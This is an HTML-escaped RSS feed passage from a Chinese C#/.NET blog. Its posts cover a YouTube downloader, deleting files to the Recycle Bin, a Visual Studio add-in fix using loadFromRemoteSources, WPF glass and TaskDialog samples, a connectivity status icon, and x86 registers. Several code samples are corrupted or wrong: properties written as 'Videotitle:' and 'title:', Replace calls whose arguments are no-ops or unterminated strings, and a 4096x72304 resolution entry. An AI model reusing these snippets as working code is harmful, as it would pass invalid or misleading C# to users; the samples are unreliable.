&lt;p&gt;本文将会暂时如何仅仅使用C#来下载youtub视频，代码简单也容易理解，每个人都可以把它整合到自己的工程项目里。&lt;/p&gt;
&lt;p&gt;我没有使用任何第三方的库来完成这段代码，你所要做的仅仅是把两个.cs文件整合进你的项目里。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;这个工程里有两个主要的类&lt;/p&gt;
&lt;p&gt;YouTubeVideoQuality Class（youtube视频质量类）&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeVideoQuality 
{
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件名
    /// &amp;lt;/summary&amp;gt;
    public string Videotitle: { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件扩展
    /// &amp;lt;/summary&amp;gt;
    public string Extention { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件地址
    /// &amp;lt;/summary&amp;gt;
    public string DownloadUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 视频地址
    /// &amp;lt;/summary&amp;gt;
    public string VideoUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件大小
    /// &amp;lt;/summary&amp;gt;
    public Size Dimension { get; set; }

    public override string ToString()
    {
        return Extention + &#34; File &#34; + Dimension.Width + 
                           &#34;x&#34; + Dimension.Height;
    }

    public void SetQuality(string Extention, Size Dimension)
    {
        this.Extention = Extention;
        this.Dimension = Dimension;
    }
}&lt;/pre&gt; 
&lt;p&gt;YouTubeDownloader Class(youtube下载类)&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeDownloader
{
    public static List&amp;lt;YouTubeVideoQuality&amp;gt; GetYouTubeVideoUrls(params string[] VideoUrls)
    {
        List&amp;lt;YouTubeVideoQuality&amp;gt; urls = new List&amp;lt;YouTubeVideoQuality&amp;gt;();
        foreach (var VideoUrl in VideoUrls)
        {
            string html = Helper.DownloadWebPage(VideoUrl);
            string title: = GetTitle(html);
            foreach (var videoLink in ExtractUrls(html))
            {
                YouTubeVideoQuality q = new YouTubeVideoQuality();
                q.VideoUrl = VideoUrl;
                q.Videotitle: = title;
                q.DownloadUrl = videoLink + &#34;&amp;amp;title=&#34; + title;
                if (getQuality(q))
                    urls.Add(q);
            }
        }
        return urls;
    }

    private static string GetTitle(string RssDoc)
    {
        string str14 = Helper.GetTxtBtwn(RssDoc, &#34;&#39;VIDEO_TITLE&#39;: &#39;&#34;, &#34;&#39;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;\&#34;title\&#34; content=\&#34;&#34;, &#34;\&#34;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;&amp;amp;title=&#34;, &#34;&amp;amp;&#34;, 0);
        str14 = str14.Replace(@&#34;\&#34;, &#34;&#34;).Replace(&#34;&#39;&#34;, &#34;&#39;&#34;).Replace(
                &#34;\&#34;&#34;, &#34;&#34;&#34;).Replace(&#34;&amp;lt;&#34;, &#34;&amp;lt;&#34;).Replace(
                &#34;&amp;gt;&#34;, &#34;&amp;gt;&#34;).Replace(&#34;+&#34;, &#34; &#34;);
        return str14;
    }

    private static List&amp;lt;string&amp;gt; ExtractUrls(string html)
    {
        html = Uri.UnescapeDataString(Regex.Match(html, &#34;url_encoded_fmt_stream_map=(.+?)&amp;amp;&#34;, 
                                      RegexOptions.Singleline).Groups[1].ToString());
        MatchCollection matchs = Regex.Matches(html, 
          &#34;url=(.+?)&amp;amp;quality=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;type=(.+?)&amp;amp;itag=(.+?),&#34;, 
          RegexOptions.Singleline);
        bool firstTry = matchs.Count &amp;gt; 0;
        if (!firstTry)
            matchs = Regex.Matches(html, 
                     &#34;itag=(.+?)&amp;amp;url=(.+?)&amp;amp;type=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;sig=(.+?)&amp;amp;quality=(.+?),{0,1}&#34;, 
                     RegexOptions.Singleline);
        List&amp;lt;string&amp;gt; urls = new List&amp;lt;string&amp;gt;();
        foreach (Match match in matchs)
        {
            if (firstTry)
                urls.Add(Uri.UnescapeDataString(match.Groups[1] + &#34;&#34;));
            else urls.Add(Uri.UnescapeDataString(match.Groups[2] + &#34;&#34;) + &#34;&amp;amp;signature=&#34; + match.Groups[5]);
        }
        return urls;
    }

    private static bool getQuality(YouTubeVideoQuality q)
    {
        if (q.DownloadUrl.Contains(&#34;itag=5&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(320, 240));
        else if (q.DownloadUrl.Contains(&#34;itag=34&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(400, 226));
        else if (q.DownloadUrl.Contains(&#34;itag=6&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=35&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(640, 380));
        else if (q.DownloadUrl.Contains(&#34;itag=18&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=22&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1280, 720));
        else if (q.DownloadUrl.Contains(&#34;itag=37&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1920, 1280));
        else if (q.DownloadUrl.Contains(&#34;itag=38&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(4096, 72304));
        else return false;
        return true;
    }
}&lt;/pre&gt; 
&lt;h3 id=&#34;有趣的地方&#34;&gt;有趣的地方&lt;/h3&gt;
&lt;p&gt;使用这个代码，你可以根据你的网速来选择不同品质的视频来下载&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#删除文件和文件夹到回收站</title>
      <link>http://blog.leaver.me/2012/09/24/c%23%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E5%88%B0%E5%9B%9E%E6%94%B6%E7%AB%99/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/c%23%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E5%88%B0%E5%9B%9E%E6%94%B6%E7%AB%99/</guid>
      <description>&lt;p&gt;如果使用C#代码来删除文件或是文件夹。会将文件和文件夹直接删除，而不是删除到回收站。可以调用Microsoft.VisualBasic.dll提供的方法。&lt;/p&gt;
&lt;p&gt;首先对项目添加名为Microsoft.VisualBasic.dll的引用，然后添加命名空间&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;using Microsoft.VisualBasic.FileIO;&lt;/pre&gt; 
&lt;p&gt;最后示例代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System;
using Microsoft.VisualBasic.FileIO;
namespace leaver
{
    class Program
    {

        static void Main(string[] args)
        {

            Console.WriteLine(&#34;删除文件到回收站&#34;);
            string filepath = &#34;leaver.txt&#34;;
            FileSystem.DeleteFile(filepath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycleBin);
            Console.WriteLine(&#34;删除文件完成&#34;);

            Console.WriteLine(&#34;删除文件夹到回收站&#34;);
            string dirpath = &#34;leaver&#34;;
            FileSystem.DeleteDirectory(dirpath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycleBin);
            Console.WriteLine(&#34;删除文件夹完成&#34;);
        }
    }
}&lt;/pre&gt; 
&lt;p&gt;很简单。。就不多说了。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>VS扩展故障,错误码:80131515</title>
      <link>http://blog.leaver.me/2012/09/24/vs%E6%89%A9%E5%B1%95%E6%95%85%E9%9A%9C%E9%94%99%E8%AF%AF%E7%A0%8180131515/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/vs%E6%89%A9%E5%B1%95%E6%95%85%E9%9A%9C%E9%94%99%E8%AF%AF%E7%A0%8180131515/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;如果你给VS安装了&lt;a href=&#34;http://www.codeproject.com/Articles/446955/Web-Search-Visual-Studio-Add-in-Search-Google-Yaho&#34;&gt;Web Search&lt;/a&gt;扩展，如果第一次运行就出现了错误代码是80131515的问题。那么本文对你是有用的。。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27488_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/31f5dde58ae04aa01469671b23b71a15d328c51c.png&#34; title=&#34;question&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;当我远程试图运行&lt;a href=&#34;http://www.codeproject.com/Articles/446955/Web-Search-Visual-Studio-Add-in-Search-Google-Yaho&#34;&gt;Web Search&lt;/a&gt;的时候出现了这个错误。我用本文第一种方法解决了。。&lt;/p&gt;
&lt;h3 id=&#34;解决方法&#34;&gt;解决方法&lt;/h3&gt;
&lt;p&gt;这个错误发生在当我远程以dll的方式调用的时候提示我说权限不够。。
为了解决这个问题，我们需要给devenv.exe.config文件添加loadFromRemoteSources 元素
首先使用管理员权限从下面的路径打开devenv.exe.config文件。
具体路径：你的VS安装目录\Common7\IDE\devenv.exe.config
并且添加loadFromRemoteSources 元素，并设为true。如下：&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;configuration&amp;gt;
   &amp;lt;runtime&amp;gt;
      &amp;lt;loadFromRemoteSources enabled=&#34;true&#34;/&amp;gt;
   &amp;lt;/runtime&amp;gt;
&amp;lt;/configuration&amp;gt; &lt;/pre&gt; 
&lt;p&gt;有时候windows会把下载的文件标记为“此文件来自一个不同的位置” ，然后对这些文件进行了很多的限制，这部分就是解锁下载的zip或是dll文件&lt;/p&gt;
&lt;p&gt;为了解锁这些文件，只要右键点击这些文件，属性，选择常规，然后点击解锁按钮。如下图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27489_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c889da920a47f1e60ef6d7140d69f20c61374388.png&#34; title=&#34;answer&#34;&gt;&lt;/a&gt;
如果你还有其他的解决方法请告诉我哦。&lt;/p&gt;
&lt;h3 id=&#34;许可&#34;&gt;许可&lt;/h3&gt;
&lt;p&gt;本文，包括源代码和文件，在CPOL下授权。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/463777/Visual-Studio-Add-in-Troubleshooting-Error-Number&#34;&gt;Visual-Studio-Add-in-Troubleshooting-Error-Number&lt;/a&gt;
著作权声明：本文由&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF毛玻璃效果Demo和一个问题</title>
      <link>http://blog.leaver.me/2012/09/24/wpf%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9Cdemo%E5%92%8C%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/wpf%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9Cdemo%E5%92%8C%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;　　那天看到WPF书上讲的毛玻璃效果，就去找了下效果。。忘了例子是从哪发现得了。。先看下效果，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27420_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/638a69761205e3d5c16a5bd34a2f775de190d137.jpg&#34; title=&#34;glass&#34;&gt;&lt;/a&gt;
　　但是这不是重点，作者给出的代码有一个设计时错误。。错误提示为：
无法将类型为“Microsoft.Expression.Platform.WPF.InstanceBuilders.WindowInstance”的对象强制转换为类型“System.Windows.Window”，，&lt;/p&gt;
&lt;p&gt;　　中文搜了一下。没有发现有人解决过。目测。。。然后又拿英文搜了下。几经辗转。。终于是解决了。。原文在&lt;a href=&#34;http://social.msdn.microsoft.com/Forums/is/wpf/thread/931e75a8-cab6-492d-89cd-b7ca291fa273&#34;&gt;Unable to cast XAML error&lt;/a&gt;。其实就是将原作者这个函数修改如下的&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static void OnIsEnabledChanged(DependencyObject obj, DependencyPropertyChangedEventArgs args)
        {

            if ((bool)args.NewValue == true)
            {
                Window wnd = obj as Window;
                if (wnd != null) wnd.Loaded += new RoutedEventHandler(wnd_Loaded);
            }
        }&lt;/pre&gt; 
&lt;p&gt;　　也就是验证了一下转换是否成功。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61615&amp;amp;uk=1493685990&#34;&gt;修改后的RGSamples&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>.net显示网络连接状态图标</title>
      <link>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</guid>
      <description>&lt;p&gt;效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27419_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;internet connection&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;　　越来越多的软件要通过连接互联网来执行一些业务层的业务操作，比如调用web services服务，获取数据等等。
通常你可能希望知道当前你的网络连接是不是真的连上了，当然有很多种方法可以做到，比如，你可以查看System.Net 命名空间中的NetworkInterface 的状态，但是有这以太网连接并不表示你的连接真的可以用。 本文将会展示一种方法，该方法在程序的状态栏StatusStrip 显示一个简单的图标来指示是不是真的连接到了互联网。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;　　最简单的我们会想到使用一个Timer来进行http-get请求来判断一个特定的网页是否可用。&lt;/p&gt;
&lt;p&gt;　　当然这种方法下，我们最应该考虑的就是请求不能阻塞UI线程，因此，我将使用一个BackgroundWorker 对象来进行get请求，BackgroundWorker 对象声明了DoWork方法。该方法定义了一个事件句柄，该句柄传递一个DoWorkEventArgs 类来将事件的处理结果返回到UI线程，因此，你不必与任何的UI元素进行交互，因为它运行在一个独立的线程里。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void InitializeComponent()
{
    // Background Worker
    this._worker = new BackgroundWorker();
    this._worker.WorkerReportsProgress = false;
    this._worker.WorkerSupportsCancellation = false;
    this._worker.DoWork += new 
       DoWorkEventHandler(this.BackgroundWorker_DoWork);
    this._worker.RunWorkerCompleted += new 
       RunWorkerCompletedEventHandler(this.BackgroundWorker_RunWorkerCompleted);

    // Timer
    this._updateTimer = new Timer();
    this._updateTimer.Enabled = !this.DesignMode;
    // Enabled when not in design mode

    this._updateTimer.Tick += delegate { this.OnTick(); };
}

private void OnTick()
{
    if (this.DesignMode)
        return;

    // Stop the timer while the process is running
    this._updateTimer.Enabled = false;

    // Disable so we get the grayed-out look
    this.Enabled = false;
    this.Invalidate();

    // Execute the Ping Query on a separate thread...
    this._worker.RunWorkerAsync();
}&lt;/pre&gt; 
&lt;p&gt;　　这个查询很简单，我执行简单的HttpWebRequest 来请求一个必然是可用的网页。比如微软的主页或是Google的主页。通过这样，我们就能知道是不是真的连接上了互联网。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void BackgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
    try
    {
        // Create an HTTP Web request
        // to an Uri that&#39;s always available.
        HttpWebRequest request = (HttpWebRequest) 
           HttpWebRequest.Create(this._alwaysAvailableUrl);

        // Perform GET
        HttpWebResponse response = 
           (HttpWebResponse) request.GetResponse();
        if (HttpStatusCode.OK == response.StatusCode)
        {
            // HTTP = 200, close the request and return true
            response.Close();
            e.Result = true;
        }
        else
        {
            // Other status; return false
            e.Result = false;
        }
    }
    catch (WebException)
    {
        // Deffinitely offline
        e.Result = false;
    }
}&lt;/pre&gt; 
&lt;p&gt;　　当BackgroundWorker 对象完成了他的工作，，也就是定义DoWork 里的事件，他会触发RunWorkerCompleted 事件，这个事件也定义了一个定制的事件句柄- RunWorkerCompletedEventArgs 有了这个类，我们就可以管理ToolStripStatusLabel的显示了&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个可定制的WPF任务对话框</title>
      <link>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</link>
      <pubDate>Mon, 24 Sep 2012 08:03:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</guid>
      <description>&lt;p&gt;今天实在看WPF揭秘的时候看到TaskDialog这个控件的。然后就去找了一下开源的代码。在codeproject上发现了这个，非常给力。。另外codeproject改版后很漂亮哦。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27400_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ea5f46934b5478701eb79bb9b9b08381704b7996.jpg&#34; title=&#34;one&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍：&lt;/h3&gt;
&lt;p&gt;这是用WPF实现Vista上TaskDialog效果的代码。&lt;/p&gt;
&lt;h3 id=&#34;messagbox消息框&#34;&gt;Messagbox消息框&lt;/h3&gt;
&lt;p&gt;通过调用重写的静态Show方法。TaskDialog就会表现的像一个Messagebox。他有四个文本类型的属性：Header（头部）, Content（内容）, Detail（更多）, 和 Footer（底部），其实Detail是一个折叠的区域， 而Header和Footer还有一个icon属性（HeaderIcon和FooterIcon），除此之外，Header还有Background（背景）和Foreground（前景）属性&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog.Show方法签名
public static TaskDialogResult Show(
    string title, 
    string header, 
    string content, 
    string detail, 
    string footer, 
    TaskDialogButton button, 
    TaskDialogResult defaultResult, 
    TaskDialogIcon headerIcon, 
    TaskDialogIcon footerIcon, 
    Brush headerBackground, 
    Brush headerForeground)

// TaskDialog.Show 方法的一个例子
TaskDialog.Show(&#34;Task Dialog 测试&#34;,
     &#34;消息框的标题文字&#34;,
     &#34;消息框的内容部分. &#34; +
     &#34; 可以自适应内容.&#34;,
     &#34;消息框的细节部分 &#34; +
     &#34;可以自适应内容&#34;,
     &#34;消息框的底部.&#34;,
     TaskDialogButton.Ok,
     TaskDialogResult.None,
     TaskDialogIcon.Information,
     TaskDialogIcon.Shield,
     Brushes.White,
     Brushes.Navy);&lt;/pre&gt; 
&lt;h3 id=&#34;定制taskdialog&#34;&gt;定制TaskDialog&lt;/h3&gt;
&lt;p&gt;使用静态的Show方法。Header, Content, Detail, 和Footer 就限制了只能传递字符串作为值了。
为了定义这个对话框，你先创建TaskDialog类的一个对象，然后分别设置一下各个属性，最后调用Show方法就可以了&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog 实例化例子
TaskDialog dialog = new TaskDialog();
dialog.title: = &#34;TaskDialog example&#34;;
dialog.HeaderIcon = TaskDialogIcon.Warning;
dialog.SystemSound = TaskDialogSound.Exclamation;
// header 属性设置
dialog.Header = &#34;This is the Header.&#34;;
dialog.HeaderBackground = Brushes.DarkGray;
dialog.HeaderForeground = Brushes.White;
// Content, Detail 和 Footer属性设置
dialog.Content = &#34;This is the content&#34;;
dialog.Detail = &#34;This is the detail&#34;;
dialog.Footer = &#34;this is the Footer&#34;;
dialog.Show();&lt;/pre&gt; 
&lt;p&gt;TaskDialog控件派生自HeaderedContentControl类，因为从HeaderedContentControl类可以获得Header和Content属性，TaskDialog仅仅是添加了Detail和Footer属性，这些属性是Object类型，并且有他们自己的template（模板）属性HeaderTemplate, ContentTemplate, DetailTemplate, 和 FooterTemplate)，TaskDialog类对于文本内容有着缺省的数据模板，当然你也可以用那四个模板来替换，这样你就可以以你喜欢的任何方式来格式化文本了。下面这个图展示了通过斜体和下划线来格式化文本。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27401_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/05a7c6d00f37749a2b770d0b1f1ebaab51528de0.jpg&#34; title=&#34;two&#34;&gt;&lt;/a&gt;
图2&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;//为上面这个图的content属性的 DataTemplate 模板 
&amp;lt;DataTemplate x:Key=&#34;_customContentDataTemplate&#34;&amp;gt;
   &amp;lt;TextBlock Text=&#34;{Binding Content, 
        RelativeSource={RelativeSource FindAncestor, 
                        AncestorType={x:Type Controls:TaskDialog}}}&#34; 
        FontStyle=&#34;Italic&#34; 
        TextDecorations=&#34;Underline&#34; 
        TextWrapping=&#34;Wrap&#34;/&amp;gt;
&amp;lt;/DataTemplate&amp;gt;&lt;/pre&gt; 
&lt;p&gt;因为Header，Content，Detail和Footer是object类型，因此不再受到只能是文本的限制了，你可以防止你喜欢的任何类型到TaskDialog，下面这个例子中的TaskDialog是不是很像UAC的提示呢。这里Content属性是一个UserControl类型，放置了一个图片和一些文本还有两个CommandButtons（都是普通的按钮。。不过添加了一些定制的样式，再加了Header属性）&lt;/p&gt;</description>
    </item>
    <item>
      <title>汇编-32位CPU所含有的寄存器</title>
      <link>http://blog.leaver.me/2012/09/24/%E6%B1%87%E7%BC%96-32%E4%BD%8Dcpu%E6%89%80%E5%90%AB%E6%9C%89%E7%9A%84%E5%AF%84%E5%AD%98%E5%99%A8/</link>
      <pubDate>Mon, 24 Sep 2012 08:02:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/%E6%B1%87%E7%BC%96-32%E4%BD%8Dcpu%E6%89%80%E5%90%AB%E6%9C%89%E7%9A%84%E5%AF%84%E5%AD%98%E5%99%A8/</guid>
      <description>&lt;p&gt;今年的课程有汇编。真为校领导的智商捉鸡。。不过还是要学的。分享一篇来自&lt;a href=&#34;http://blog.minidx.com/2007/12/10/233.html&#34;&gt;中文FLEX例子&lt;/a&gt;的汇编寄存器的文章。很不错的一篇寄存器详解的文章。文章最后是我找到的一个汇编指令助手。&lt;/p&gt;
&lt;p&gt;　　4个数据寄存器(EAX、EBX、ECX和EDX)　　
　　2个变址和指针寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP)
　　6个段寄存器(ES、CS、SS、DS、FS和GS)
　　1个指令指针寄存器(EIP) 1个标志寄存器(EFlags)&lt;/p&gt;
&lt;h3 id=&#34;1数据寄存器&#34;&gt;1、数据寄存器&lt;/h3&gt;
&lt;p&gt;　　数据寄存器主要用来保存操作数和运算结果等信息，从而节省读取操作数所需占用总线和访问存储器的时间。32位CPU有4个32位的通用寄存器EAX、EBX、ECX和EDX。对低16位数据的存取，不会影响高16位的数据。这些低16位寄存器分别命名为：AX、BX、CX和DX，它和先前的CPU中的寄存器相一致。&lt;/p&gt;
&lt;p&gt;　　4个16位寄存器又可分割成8个独立的8位寄存器(AX：AH-AL、BX：BH-BL、CX：CH-CL、DX：DH-DL)，每个寄存器都有自己的名称，可独立存取。程序员可利用数据寄存器的这种”可分可合”的特性，灵活地处理字/字节的信息。&lt;/p&gt;
&lt;p&gt;　　寄存器AX和AL通常称为累加器(Accumulator)，用累加器进行的操作可能需要更少时间。累加器可用于乘、 除、输入/输出等操作，它们的使用频率很高； 寄存器BX称为基地址寄存器(Base Register)。它可作为存储器指针来使用； 寄存器CX称为计数寄存器(Count Register)。在循环和字符串操作时，要用它来控制循环次数；在位操作 中，当移多位时，要用CL来指明移位的位数；&lt;/p&gt;
&lt;p&gt;　　寄存器DX称为数据寄存器(Data Register)。在进行乘、除运算时，它可作为默认的操作数参与运算，也 可用于存放I/O的端口地址。在16位CPU中，AX、BX、CX和DX不能作为基址和变址寄存器来存放存储单元的地址，但在32位CPU中，其32位寄存器EAX、EBX、ECX和EDX不仅可传送数据、暂存数据保存算术逻辑运算结果，而且也可作为指针寄存器，所以，这些32位寄存器更具有通用性。&lt;/p&gt;
&lt;h3 id=&#34;2变址寄存器&#34;&gt;2、变址寄存器&lt;/h3&gt;
&lt;p&gt;　　32位CPU有2个32位通用寄存器ESI和EDI。其低16位对应先前CPU中的SI和DI，对低16位数据的存取，不影响高16位的数据。&lt;/p&gt;
&lt;p&gt;　　寄存器ESI、EDI、SI和DI称为变址寄存器(Index Register)，它们主要用于存放存储单元在段内的偏移量，用它们可实现多种存储器操作数的寻址方式，为以不同的地址形式访问存储单元提供方便。变址寄存器不可分割成8位寄存器。作为通用寄存器，也可存储算术逻辑运算的操作数和运算结果。它们可作一般的存储器指针使用。在字符串操作指令的执行过程中，对它们有特定的要求，而且还具有特殊的功能。&lt;/p&gt;
&lt;h3 id=&#34;3指针寄存器&#34;&gt;3、指针寄存器&lt;/h3&gt;
&lt;p&gt;　　32位CPU有2个32位通用寄存器EBP和ESP。其低16位对应先前CPU中的SBP和SP，对低16位数据的存取，不影响高16位的数据。&lt;/p&gt;
&lt;p&gt;　　寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register)，主要用于存放堆栈内存储单元的偏移量，用它们可实现多种存储器操作数的寻址方式，为以不同的地址形式访问存储单元提供方便。指针寄存器不可分割成8位寄存器。作为通用寄存器，也可存储算术逻辑运算的操作数和运算结果。&lt;/p&gt;
&lt;p&gt;　　它们主要用于访问堆栈内的存储单元，并且规定：&lt;/p&gt;
&lt;p&gt;　　BP为基指针(Base Pointer)寄存器，用它可直接存取堆栈中的数据；&lt;/p&gt;
&lt;p&gt;　　SP为堆栈指针(Stack Pointer)寄存器，用它只可访问栈顶。&lt;/p&gt;
&lt;h3 id=&#34;4段寄存器&#34;&gt;4、段寄存器&lt;/h3&gt;
&lt;p&gt;　　段寄存器是根据内存分段的管理模式而设置的。内存单元的物理地址由段寄存器的值和一个偏移量组合而成&lt;/p&gt;
&lt;p&gt;　　的，这样可用两个较少位数的值组合成一个可访问较大物理空间的内存地址。&lt;/p&gt;
&lt;p&gt;　　CPU内部的段寄存器：&lt;/p&gt;
&lt;p&gt;　　CS——代码段寄存器(Code Segment Register)，其值为代码段的段值；
　　DS——数据段寄存器(Data Segment Register)，其值为数据段的段值；　
　　ES——附加段寄存器(Extra Segment Register)，其值为附加数据段的段值；
　　SS——堆栈段寄存器(Stack Segment Register)，其值为堆栈段的段值；
　　FS——附加段寄存器(Extra Segment Register)，其值为附加数据段的段值；
　　GS——附加段寄存器(Extra Segment Register)，其值为附加数据段的段值。&lt;/p&gt;
&lt;p&gt;　　在16位CPU系统中，它只有4个段寄存器，所以，程序在任何时刻至多有4个正在使用的段可直接访问；在32位微机系统中，它有6个段寄存器，所以，在此环境下开发的程序最多可同时访问6个段。32位CPU有两个不同的工作方式：实方式和保护方式。在每种方式下，段寄存器的作用是不同的。有关规定简单描述如下：&lt;/p&gt;
&lt;p&gt;　　实方式： 前4个段寄存器CS、DS、ES和SS与先前CPU中的所对应的段寄存器的含义完全一致，内存单元的逻辑地址仍为”段值：偏移量”的形式。为访问某内存段内的数据，必须使用该段寄存器和存储单元的偏移量。&lt;/p&gt;
&lt;p&gt;　　保护方式： 在此方式下，情况要复杂得多，装入段寄存器的不再是段值，而是称为”选择子”(Selector)的某个值。&lt;/p&gt;
&lt;h3 id=&#34;5指令指针寄存器&#34;&gt;5、指令指针寄存器&lt;/h3&gt;
&lt;p&gt;　　32位CPU把指令指针扩展到32位，并记作EIP，EIP的低16位与先前CPU中的IP作用相同。&lt;/p&gt;
&lt;p&gt;　　指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。在具有预取指令功能的系统中，下次要执行的指令通常已被预取到指令队列中，除非发生转移情况。所以，在理解它们的功能时，不考虑存在指令队列的情况。&lt;/p&gt;
&lt;p&gt;　　在实方式下，由于每个段的最大范围为64K，所以，EIP中的高16位肯定都为0，此时，相当于只用其低16位的IP来反映程序中指令的执行次序。&lt;/p&gt;
&lt;h3 id=&#34;6标志寄存器&#34;&gt;6、标志寄存器&lt;/h3&gt;
&lt;p&gt;　　一、运算结果标志位&lt;/p&gt;
&lt;p&gt;　　1、进位标志CF(Carry Flag)&lt;/p&gt;
